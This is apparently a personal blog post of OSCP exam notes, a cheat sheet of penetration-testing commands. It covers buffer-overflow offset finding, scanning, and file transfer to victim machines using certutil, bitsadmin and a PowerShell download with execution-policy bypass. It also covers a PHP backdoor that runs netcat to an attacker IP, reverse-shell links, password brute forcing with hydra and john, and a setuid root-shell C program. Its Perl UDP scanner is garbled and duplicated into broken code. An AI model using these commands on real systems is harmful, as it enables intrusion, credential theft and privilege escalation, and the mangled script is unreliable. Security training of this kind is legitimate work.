Offensive Security OSCP Logo

After finally passing my OSCP Exam I figured I would create a post with my useful notes and commands. These notes / commands should be spoiler free of machines in both the lab and the exam and are not specific to any particular machine.

I will try to break these up into proper categories / sections that accurately reflects the note / command.

Without further ado in no particular order:

Buffer Overflow

Finding your EIP Offset

If you know how long your buffer is before the exploit crashes (e.g 4000 characters) you can use the pattern_create script with the -l (lowercase L) flag to create a unique pattern.

Using the above example

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000

Once you’ve inserted the above output into your skeleton script, copy down the output of what appears in EIP. Then give pattern_offset a run

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4000 -q <insert your EIP Unique string>

Finding Bad Characters

I felt it was necessary to have a copy of all the ASCII characters laying around for the buffer overflow. This made it easy to copy and paste into BOF skeleton scripts. I also determined the buffer size of the variable so you can modify the skeleton script as you go.

badchar = (

“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”

“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”

“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”

“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”

“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”

“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”

“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”

“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”

“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”

“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”

“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”

“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”

“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”

“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”

“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”

“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”

) 255 bytes

I’d suggest taking the bad characters above and inserting it after your 4 bytes that controls the EIP (Your “B” characters or whatever). Remove bad characters as you go.

There is of course all of the Mona tools at your disposal as well. However, I did not use any of them.

Initial Enumeration Steps

Manual Steps

nmap -sC -sV IP_ADDR nmap -sC -sV -p- IP_ADDR nmap -sU -sV --top-ports 20 IP_ADDR nmap --script vuln IP_ADDR

I created a fairly basic Perl scrip that utilizes netcat to give more useful info about UDP ports being open. Code is below:

#!/usr/bin/perl

use strict;

use warnings;

my $nc = "/bin/nc";

my $outFile;

my $target; my @topPorts = (52, 67, 68, 69, 123, 135, 137, 138, 139, 161, 162, 445, 500, 514,520,631,1434,1900,4500,49152);my $nc = "/bin/nc";my $outFile;my $target;

print("Usage: $0 <target> <output file>

");

print("Example: perl $0 XXX.XXX.XXX.XXX udp_scan.txt

");

print("cat udp_scan.txt | grep -v \"?\"

");

exit(1);

} if( @ARGV < 2) {print("Usage: $0

");print("Example: perl $0 XXX.XXX.XXX.XXX udp_scan.txt

");print("cat udp_scan.txt | grep -v \"?\"

");exit(1);

print("Performing Top 20 UDP Port Scan against: $target

");

print("Output File: $outFile

"); ($target, $outFile) = @ARGV print("Performing Top 20 UDP Port Scan against: $target

");print("Output File: $outFile

");

close(FILE);

print("Running: ");

foreach my $port (

open(NETCAT, "-|", "$nc -nv -u -z -w 1 $target $port 2>>$outFile") or die("$!");

close(NETCAT);

print(".");

}

print(" DONE!

"); open(FILE, ">", $target) or die("$!");close(FILE);print("Running: ");foreach my $port ( @topPorts ) {open(NETCAT, "-|", "$nc -nv -u -z -w 1 $target $port 2>>$outFile") or die("$!");close(NETCAT);print(".");print(" DONE!

");

Afterwards just use the below command to run / show open ports

perl script.pl 10.10.10.10 udp_scan.txt; cat udp_scan.txt | grep -v "?"

Anything showing up in the list above should be open. Of course since its UDP take it with a grain of salt.

Automated Steps

Download AutoRecon by Tib3rius at https://github.com/Tib3rius/AutoRecon

python3 autorecon.py -ct 4 -cs 10 -o ./ IP_1 IP_2 IP_3 IP_4

File Transfer Methods

These were all the helpful methods I utilized to get files from my attacking box to the target.

Unix Transfer Methods

wget http://IP_ADDR/file -O /path/to/where/you/want/file/to/go curl http://IP_ADDR/file fetch http://IP_ADDR/file nc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine) ftp -s:input.txt tftp -i get file /path/on/victim

Windows Transfer Methods

bitsadmin /transfer download /priority normal http://IP_ADDR/file C:\output\path (Works on Windows 7/Windows Server 2000+) nc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine) ftp -s:input.txt tftp -i get file /path/on/victim powershell.exe -exec bypass -Command “& {iex((New-Object System.Net.WebClient).DownloadFile(‘ http://IP_ADDR:PORT/FILE','C:\Users\user\AppData\Local\ack.exe')); }” certutil -urlcache -split -f “ http://IP_ADDR/FILE" FILENAME

Useful Powershell script that allows for transferring of files as well:



echo $webclient = New-Object System.Net.WebClient >> wget.ps1

echo $url = “

echo $file = “FILE” >> wget.ps1

echo $webclient.DownloadFile($url,$file) >> wget.ps1 echo $storageDir = $pwd > wget.ps1echo $webclient = New-Object System.Net.WebClient >> wget.ps1echo $url = “ http://IP_ADDR/ FILE" >> wget.ps1echo $file = “FILE” >> wget.ps1echo $webclient.DownloadFile($url,$file) >> wget.ps1 powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File <filename>

Maybe you want to execute the above file as another user if you have their creds? This is equally helpful

echo $secpasswd = ConvertTo-SecureString “insert_plaintext_password_here” -AsPlainText -Force > execute.ps1

echo $mycreds = New-Object System.Management.Automation.PSCredential(“username”, $secpasswd) >> execute.ps1

echo $computer = “target_host” >> execute.ps1

echo [System.Diagnostics.Process]::Start(“C:\Users\user\Downloads\firewall.exe”, “”, $mycreds.Username, $mycreds.Password, $computer) >> execute.ps1



powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File <filename>

Content Management System Scanning

These tools should be helpful with some of the more popular CMS like Drupal, WordPress, Joomla, etc

Full Interactive TTY Shell

In order for this to work, the reverse shell must have been initiated from nc (netcat)

PHP Backdoors

These are some of the useful PHP backdoors I used. Rather than include the code on here I will link to most of them. There is one I would like to share that I used for both Windows and Linux interchangeably

I shouldn’t have to explain above, but in short use <filename>.php?fupload=nc.exe (for example) and <filename>.php?fexec=nc IP PORT

PenTest Monkey’s PHP Reverse Shell for Linux — http://pentestmonkey.net/tools/web-shells/php-reverse-shell

Above can be located in the following path on your Kali box

/usr/share/webshells/php/php-reverse-shell.php

Windows Equivalent to PenTest Monkey Linux Shell — https://raw.githubusercontent.com/Dhayalanb/windows-php-reverse-shell/master/Reverse%20Shell.php

Password Brute Forcing

unshadow passwd shadow > creds.txt john --wordlist=rockyou.txt creds.txt fcrackzip -u -D -p ‘rockyou.txt’ zip_file zip2john zip_file > hash.txt john --format=zip hash.txt hydra -l username -P password_list IP_ADDR -V http-post-form ‘/path/login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’ -t 25 hashcat -a 0 -m hash-mode hash.txt rockyou.txt

Useful Websites:

https://crackstation.net/

https://hashkiller.co.uk/

For the hashcat command, the hash-mode list can be found here: https://hashcat.net/wiki/doku.php?id=example_hashes

http://cracker.offensive-security.com/ (Your priority code is in OSCP Control Panel)

OS, User, and Data Collection

Unix

rpm -qa dkpg -l apt list --installed aptitude search ‘~i!~M’ uname -a uname -m cat /etc/*release* id

Windows

echo %USERNAME% echo %USERDOMAIN% systeminfo | findstr /B /C:”Domain” wmic computersystem get domain net config WorkStation wmic os get osarchitecture net user username whoami /groups

Web Enumeration

nikto -h IP_ADDR gobuster -e -u http://IP _ADDR -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -s 200,204,301,302 dirsearch -u https://I P_ADDR -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,txt,sh -x 404 -t 100 wfuzz -w wordlist.txt --filter "c=200 and l>0" http://IP_ADDR/ somepath.php?url=FUZZ

dirsearch — https://github.com/maurosoria/dirsearch

Setuid C Program to Compile

#include <unistd.h>



int main()

{

setuid(0);

execl("/bin/bash", "bash", (char *)NULL);

return 0;

}

This is by no means a complete list of commands I used, programs created / used, etc for the OSCP. There is a lot I created for myself notes wise but taken from already known posts.

Other quick references:

Local Privilege Escalation Workshop — https://github.com/sagishahar/lpeworkshop

g0tMi1k’s Basic Linux Priv Esc — https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Sushant747’s Windows Priv Esc — https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

Feel free to leave a comment or let’s chat on Discord https://discord.gg/eG6Nt4x if you have any questions